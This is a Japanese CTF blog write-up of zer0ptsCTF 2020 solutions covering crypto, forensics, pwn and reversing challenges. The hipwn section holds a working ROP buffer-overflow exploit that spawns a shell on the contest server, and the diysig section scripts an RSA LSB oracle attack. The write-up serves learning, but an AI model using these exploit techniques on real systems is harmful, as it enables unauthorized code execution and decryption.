みつのCTF精進記録

プログラム書いたりCTFやったりするゆるゆるなブログです。

zer0ptsCTF2020 writeup

はじめに

zer0ptsCTF 2020に参加しました.自分たちStarrySkyは何とか26位につくことができました.
f:id:mi__tsu:20200309152539p:plain
自分はheap問が解けないためpwnはダメダメで,もっとちゃんとするべきだと感じました.
以下自分が解いた問題のwriteupを書いていきます.

[crypto] ROR

LOL

  • chall.py
  • chall.txt

暗号化スクリプトと暗号化されたフラグが渡されます.
暗号化スクリプトを見ると,どうやらフラグの下位数ビットを後ろに持って行って暗号化という操作をフラグのビット長だけ行い,それ毎に出力しているという感じでした.
例えばフラグが0b00110101の時,0b00110101を暗号化,0b10011010を暗号化,0b01001101を暗号化,……,0b01101010を暗号化といった具合です.
また暗号化関数が c = ror(m)^e\ mod\ Nで, N=2^{r_{1}}3^{r_{2}}7^{r_{3}}=2xの形で表せるため,暗号化しても最下位ビットは保存されます.
よってchall.txtの暗号文の最下位ビットを見ていくことでflagが手に入ります.
そるばどぺー

import re

def decodeM(m):
    s = hex(m)[2:]
    l = []
    if (len(s) & 1):
        l.append(chr(int(s[0], 16)))
        s = s[1:]
    ss = re.split("(..)", s)[1::2]
    for i in ss:
        l.append(chr(int(i, 16)))
    return "".join(l) 

f = open("./chall.txt", "r")

line = f.readline()
flag = ""
while line:
    x = int(line.strip())
    flag = str(x & 1) + flag
    line = f.readline()

flag = int(flag, 2)
print(decodeM(flag))
f.close()

zer0pts{0h_1t_l34ks_th3_l34st_s1gn1f1c4nt_b1t}

[crypto] diysig

I made a cipher-signature system by myself.

  • diysig.py
  • server.py
  • chall.txt

暗号化されたフラグとそのシグネチャっぽいものが与えられます.またサーバではどうやらRSA暗号周りの処理が動いているようです.
Public Key Disclosureを選択すれば公開鍵が入手でき,これは一定です.またVerify Encrypted Messageにより,好きな暗号文の平文のシグネチャを手に入れることができました.
シグネチャを計算するコード_hash(m)を読んでみると元の数の最下位ビットは保存されたままになっていることがわかり,LSB Decryption Oracle Attackによりフラグを復号できることがわかりました.
1024回ほどncでつなぐのでブルートフォース扱いされないか少し怖かったですが全く問題ありませんでした良かった.
そるばどぺー

from pwn import *
from fractions import Fraction

def getLSB(c):
    r = remote("18.179.178.246", 3001)
    r.sendline("2")
    r.sendline(hex(c)[2:])
    r.sendline("58cfe4f1")
    r.recvuntil("!= ")
    sig = int(r.recvline(), 16)
    print(hex(sig))
    r.close()
    return sig & 1

n = 0x6d70b5a586fcc4135f0c590e470c8d6758ce47ce88263ff4d4cf49163457c71e944e9da2b20c2ccb0936360f12c07df7e7e80cd1f38f2c449aad8adaa5c6e3d51f15878f456ceee4f61547302960d9d6a5bdfad136ed0eb7691358d36ae93aeb300c260e512faefe5cc0f41c546b959082b4714f05339621b225608da849c30f
e = 0x10001
c = 0x3cfa0e6ea76e899f86f9a8b50fd6e76731ca5528d59f074491ef7a6271513b2f202f4777f48a349944746e97b9e8a4521a52c86ef20e9ea354c0261ed7d73fc4ce5002c45e7b0481bb8cbe6ce1f9ef8228351dd7daa13ccc1e3febd11e8df1a99303fd2a2f789772f64cbdb847d6544393e53eee20f3076d6cdb484094ceb5c1

def lsbdec(c):
    bounds = [0, Fraction(n)]

    i = 0
    while True:
        print(i)
        i += 1

        c2 = (c * pow(2, e, n)) % n
        lsb = getLSB(c2)
        print("lsb = {}".format(lsb))
        if lsb == 1:
            bounds[0] = sum(bounds)/2
        else:
            bounds[1] = sum(bounds)/2
        diff = bounds[1] - bounds[0]
        diff = diff.numerator // diff.denominator
        if diff == 0:
            m = bounds[1].numerator // bounds[1].denominator
            return m
        c = c2

def decodeM(m):
    s = hex(m)[2:]
    l = []
    if (len(s) & 1):
        l.append(chr(int(s[0], 16)))
        s = s[1:]
    ss = re.split("(..)", s)[1::2]
    for i in ss:
        l.append(chr(int(i, 16)))
    return "".join(l)

print(len(bin(c)) - 2)
m = lsbdec(c)

print(decodeM(m))

zer0pts{n3v3r_r3v34l_7h3_LSB}

[forensics] Locked KitKat

We've extracted the internal disk from the Android device of the suspect. Can you find the pattern to unlock the device? Please submit the correct pattern here.

androidのイメージが渡されます.また問題文に書いてあるサイトに飛ぶとandroidのロック画面にある,パターンでログインする画面が表示されていました.
androidのイメージからログインパスワードのパターンを割り出したいのでとりあえずマウントします.

$ sudo mount -o loop android.4.4.x86.img /mnt/mymnt
$ cd /mnt/mymnt/system

androidのパターンのパスワードは/system/gesture.keyに保存されています.guesture.keyからパスワードを求めるのはandrillerを使いました.
f:id:mi__tsu:20200309202646p:plain
zer0pts{n0th1ng_1s_m0r3_pr4ct1c4l_th4n_brut3_f0rc1ng}

[pwn] hipwn

Hi, all pwners over the world!

  • chall
  • main.c

バイナリを動かしてみるとbofができます.普通にropすれば大丈夫そうです.
libcがありませんがraxやrdiにいい感じに値を代入してsyscallすればexecve("/bin/sh", NULL, NULL)が呼べます.
そるばどぺー

from pwn import *
import sys

offset = 264
data_section = 0x604020

xor_eax_eax = 0x004023f7
mov_rsi_r12__syscall = 0x0040247a
pop_r12 = 0x0040245d
pop_rdx = 0x004023f5
pop_rax = 0x00400121
mov_qprdi_rax = 0x00400704
pop_rdi = 0x0040141c

if len(sys.argv) == 1:
    r = process("./chall")
    log.info("pid = {}".format(r.pid))
else:
    r = remote("13.231.207.73", 9010)

sleep(5)
    
# execve("/bin/sh", NULL, NULL)
payload = b"A" * offset

# rdi = "/bin/sh"
payload += p64(pop_rdi)
payload += p64(data_section)
payload += p64(pop_rax)
payload += b"/bin/sh\x00"
payload += p64(mov_qprdi_rax)

# rdx = 0
payload += p64(pop_rdx)
payload += p64(0)

# rax = 59
payload += p64(pop_rax)
payload += p64(59)

# rsi = 0, syscall
payload += p64(pop_r12)
payload += p64(0)
payload += p64(mov_rsi_r12__syscall)

r.sendline(payload)
r.interactive()

フラグは忘れちゃいました.

[reversing] QRPuzzle

This puzzle is a puzzling puzzle.

  • chall
  • key
  • encrypted.qr

暗号化されたQRコードらしき文字列とその暗号化バイナリが渡されます.keyを受け取って暗号化したことが想像できます.
challの大まかな処理の流れは,read_QR->read_Key->encrypt->save_QRみたいな感じ(関数名は適当)でした.QRの読み込みも出力もおそらく二次元配列で管理してるであろうと予測してread_Keyとencryptのみ解析しました.
keyファイルにはx#(a,b)の形の行がたくさんあり,xは3以下のものしかありませんでした.またread_Keyはkeyファイルを一行ずつ読み取り,逐次何やら処理を行っていました.
keyの読み取りにはfscanf("%d#(%d,%d)", ...)が使われ,代入先を考えると

typedef struct {
    int a;
    int b;
    int x;
} KEY;
KEY keys[keylen];
}

みたいに管理された配列に代入されているとわかりました.
encryptではkeysを順番に次のような処理をしていました.(多分)

abuf = a, bbuf = b;
switch(x) {
case 0: a--; break;
case 1: a++; break;
case 2: b--; break;
case 3: b++; break;
}
QR[a][abuf] += QR[b][a];
QR[b][a] = QR[a][abuf] - QR[b][a];
QR[a][abuf] -= QR[b][a];

要素の交換っぽいので同じ操作で元の状態に戻すことができ,encryptではkeyを上から順番に処理していたので,復号にはkeyを下から順番に処理させれば大丈夫です.
よってkeyを上下逆順にしたものをdeckeyと名付け

$ ./chall encrypted.qr deckey out

という風にやれば元のQRコードがoutに出力されます.これをstrong-qr-decoderで復号するとフラグが手に入ります.
zer0pts{puzzl3puzzl3}

[reversing] vmlog

I wrote my vm and its program. Can you guess the source code and input?

  • vm.py
  • log.txt

vm.pyの処理を追いかけて入力を逆算すればいいです.元の難解言語っぽい物を何度も読むのは大変なので次のようなコードに頑張って直しました.

mem = [4611686018427387903, 247905749270528, 28629151, 0, 1, 0, 0, 0, 0, 0]
reg = mem[4]
while reg != 0:
    print(mem)
    mem[4] -= 1
    reg = mem[2]
    a = input()
    if not a:
        reg = 0
    else:
        reg += ord(a)
    while reg != 0:
        mem[2] = (reg * mem[1]) % mem[0]
        mem[3] = mem[4]
        mem[4] += 1
        reg = mem[3]
    reg = mem[4]
print(mem[2])

log.txtではループでのmemの状態を見ることができるので入力のaを逆算できそうです.
そるばどぺー

mems = [
[4611686018427387903, 247905749270528, 28629151, 0, 1, 0, 0, 0, 0, 0],
[4611686018427387903, 247905749270528, 4588277794174371330, 0, 1, 0, 0, 0, 0, 0],
[4611686018427387903, 247905749270528, 4557362566608270193, 0, 1, 0, 0, 0, 0, 0],
[4611686018427387903, 247905749270528, 4597225827500493308, 0, 1, 0, 0, 0, 0, 0],
[4611686018427387903, 247905749270528, 4399455111035409631, 0, 1, 0, 0, 0, 0, 0],
[4611686018427387903, 247905749270528, 3664679811648746944, 0, 1, 0, 0, 0, 0, 0],
[4611686018427387903, 247905749270528, 1822527803964528750, 0, 1, 0, 0, 0, 0, 0],
[4611686018427387903, 247905749270528, 2107290073593614393, 0, 1, 0, 0, 0, 0, 0],
[4611686018427387903, 247905749270528, 103104307719214561, 0, 1, 0, 0, 0, 0, 0],
[4611686018427387903, 247905749270528, 3773217954610171964, 0, 1, 0, 0, 0, 0, 0],
[4611686018427387903, 247905749270528, 1852072839260827083, 0, 1, 0, 0, 0, 0, 0],
[4611686018427387903, 247905749270528, 3465871536121230779, 0, 1, 0, 0, 0, 0, 0],
[4611686018427387903, 247905749270528, 223194874355517702, 0, 1, 0, 0, 0, 0, 0],
[4611686018427387903, 247905749270528, 1454204952931951837, 0, 1, 0, 0, 0, 0, 0],
[4611686018427387903, 247905749270528, 3030456872916287478, 0, 1, 0, 0, 0, 0, 0],
[4611686018427387903, 247905749270528, 426011771323652532, 0, 1, 0, 0, 0, 0, 0],
[4611686018427387903, 247905749270528, 1276028785627724173, 0, 1, 0, 0, 0, 0, 0],
[4611686018427387903, 247905749270528, 1962653697352394735, 0, 1, 0, 0, 0, 0, 0],
[4611686018427387903, 247905749270528, 1600956848133034570, 0, 1, 0, 0, 0, 0, 0],
[4611686018427387903, 247905749270528, 2045579747554458289, 0, 1, 0, 0, 0, 0, 0],
[4611686018427387903, 247905749270528, 4248193240456187641, 0, 1, 0, 0, 0, 0, 0],
[4611686018427387903, 247905749270528, 4478689482975263576, 0, 1, 0, 0, 0, 0, 0],
[4611686018427387903, 247905749270528, 1235692576284114044, 0, 1, 0, 0, 0, 0, 0],
[4611686018427387903, 247905749270528, 2579703272274331094, 0, 1, 0, 0, 0, 0, 0],
[4611686018427387903, 247905749270528, 1394874119223018380, 0, 1, 0, 0, 0, 0, 0],
[4611686018427387903, 247905749270528, 4275420194958799226, 0, 1, 0, 0, 0, 0, 0],
[4611686018427387903, 247905749270528, 2401030954359721279, 0, 1, 0, 0, 0, 0, 0],
[4611686018427387903, 247905749270528, 1313700932660640339, 0, 1, 0, 0, 0, 0, 0],
[4611686018427387903, 247905749270528, 2401701271938149070, 0, 1, 0, 0, 0, 0, 0],
[4611686018427387903, 247905749270528, 4217153612451355368, 0, 1, 0, 0, 0, 0, 0],
[4611686018427387903, 247905749270528, 2389747163516760623, 0, 1, 0, 0, 0, 0, 0],
[4611686018427387903, 247905749270528, 3483955087661197897, 0, 1, 0, 0, 0, 0, 0],
[4611686018427387903, 247905749270528, 4522489230881850831, 0, 1, 0, 0, 0, 0, 0]]

chs = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!#$%&\()+,-./:;<=>?@^_`{|}~"

flag = ""
for i in range(1, len(mems)):
    mem = mems[i]
    for ch in chs:
        reg = mems[i - 1][2] + ord(ch)
        if (reg * mem[1]) % mem[0] == mem[2]:
            flag += chr(reg - mems[i - 1][2])
            print("flag = {}".format(flag))

zer0pts{3asy_t0_f0110w_th3_l0g?}
一文字ずつ同定していって徐々に構築されるの見るのすこ.

[reversing] easy strcmp

Do you know how relocation works?

  • chall

引数にフラグをセットして合ってるか確認してくれるタイプのバイナリです.
ltraceで追ってみるとstrcmp(argv[1], "zer0pts{********CENSORED********}")みたいな処理をしていたのにも関わらずzer0pts{********CENSORED********}を引数として与えてもWrong!と言われてしまいます.
gdbで追いかけてみるとstrcmpが呼び出せれる前に第一引数に対して細工をしstrcmpが呼び出されるようになってました.頑張ってradare2で追いかけると,第一引数と0x201060から始まるバイト列をを8バイトで区切り差を取っていることがわかりました.
つまり,zer0pts{********CENSORED********}と0x201060から始まるバイト列を8バイトごとに区切って足し算すればフラグを求めることができます.
そるばどぺー

import binascii

chs = b"\x00\x00\x00\x00\x00\x00\x00\x00\x42\x09\x4a\x49\x35\x43\x0a\x41\xf0\x19\xe6\x0b\xf5\xf2\x0e\x0b\x2b\x28\x35\x4a\x06\x3a\x0a\x4f"
chs = [chs[i: i+8] for i in range(0, len(chs), 8)]

badflag = b"zer0pts{********CENSORED********}"
badflag = [badflag[i: i+8] for i in range(0, len(badflag), 8)]

flag = b""
for i in range(len(chs)):
    x = int.from_bytes(chs[i], "little")
    x += int.from_bytes(badflag[i], "little")
    x &= 0xffffffffffffffff
    flag += x.to_bytes(8, "little")
    print(flag)

flag += b"}"
print(flag)

zer0pts{l3ts_m4k3_4_DETOUR_t0d3y}

[reversing] wysinsyg

Do you know how ptrace works?

  • wysinsyg

与えられたバイナリは小プロセスを起動しシステムコールをトラップしてなんか色々やるもので,小プロセスは第一引数を表示するみたいな処理をやっていました.親プロセスは小プロセスがwriteシステムコールを発行するときptrace(PTRACE_PEEKDATA, child, 0, regs)みたいな処理をしていました.画面への表示はwriteシステムコールで行うため,小プロセスが第一引数を表示するときに行われることが予想できます.
そのため,親プロセスをgdbで追いかけていきます.gdbでのset follow-fork-mode parentはやっておいたほうがいいです.
gdbで見ていくと案の定,小プロセスが第一引数を表示するときに怪しい処理を行っていました.しかし途中でネストが非常に深い関数に遭遇し大変そうだったたのでradare2で真相を探っていきます.
例のネストが深いコードをradare2で解析すると次のようなpythonのコードに直すことができました.

def cal(a):
    if a == 0:
        retirm 0
    b = 0x5beb
    c = 0x8bae6fa3
    res = 1
    for i in range(b):
        res = (c + (res * (a % c)) % c) % c
    return res

これが再帰で行われていたためやばい処理にみえたことは納得です.
またもう少し解析を進めると,第一引数に与えた文字列の各文字をcal()で計算した結果が0x202020から始まるバイト列と一致すればよいことがわかります.cal()を計算するのはちょっと時間がかかったので前計算をして置き,次のようなコードでフラグを逆算できました.

import sys
import struct

def cal(a):
    if a == 0:
        return 0
    b = 0x5beb
    c = 0x8bae6fa3
    res = 1
    for i in range(b):
        res = (c + (res * (a % c)) % c) % c
    return res

flags = "38 01 40 1a 00 00 00 00 67 b8 9a 27 00 00 00 00 69 29 7d 17 00 00 00 00 f5 46 6e 0e 00 00 00 00 f8 21 26 51 00 00 00 00 73 ce 96 2e 00 00 00 00 96 b4 84 04 00 00 00 00 6e 4f 41 73 00 00 00 00 96 b4 84 04 00 00 00 00 e9 74 c2 01 00 00 00 00 96 b4 84 04 00 00 00 00 62 c7 7d 63 00 00 00 00 4a 7a 14 15 00 00 00 00 5e 89 e9 1f 00 00 00 00 5e 89 e9 1f 00 00 00 00 eb 01 2b 86 00 00 00 00 cd 06 5a 77 00 00 00 00 f5 46 6e 0e 00 00 00 00 f5 46 6e 0e 00 00 00 00 66 24 6a 3e 00 00 00 00 6d ab 00 03 00 00 00 00 12 cc 67 5a 00 00 00 00 01 7e 16 34 00 00 00 00 eb 01 2b 86 00 00 00 00 6d ab 00 03 00 00 00 00 96 b4 84 04 00 00 00 00 eb 01 2b 86 00 00 00 00 6d ab 00 03 00 00 00 00 4d da ef 11 00 00 00 00 f8 21 26 51 00 00 00 00 f5 46 6e 0e 00 00 00 00 69 29 7d 17 00 00 00 00 73 ce 96 2e 00 00 00 00 4a 7a 14 15 00 00 00 00 12 cc 67 5a 00 00 00 00 73 ce 96 2e 00 00 00 00 4d 14 80 78 00 00 00 00 6b ed 69 5a 00 00 00 00".split()

flags = [flags[i:i+8] for i in range(0,len(flags) - 1,8)]
for i in range(len(flags)):
    flags[i] = "".join(flags[i])
    flags[i] = int(flags[i], 16)
    flags[i] = struct.unpack(">Q",struct.pack("<Q",flags[i]))[0]
chs = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}"
cals = []
for i in chs:
    print("chs append... {}".format(i))
    cals.append(cal(ord(i)))

flag = ""
for f in flags:
    x = len(chs) - 1
    for idx in range(len(cals)):
        if cals[idx] == f:
            x = idx
            break
    flag = flag + chs[x]

print(flag)

zer0pts{sysc4ll_h00k1ng_1s_1mp0rt4nt}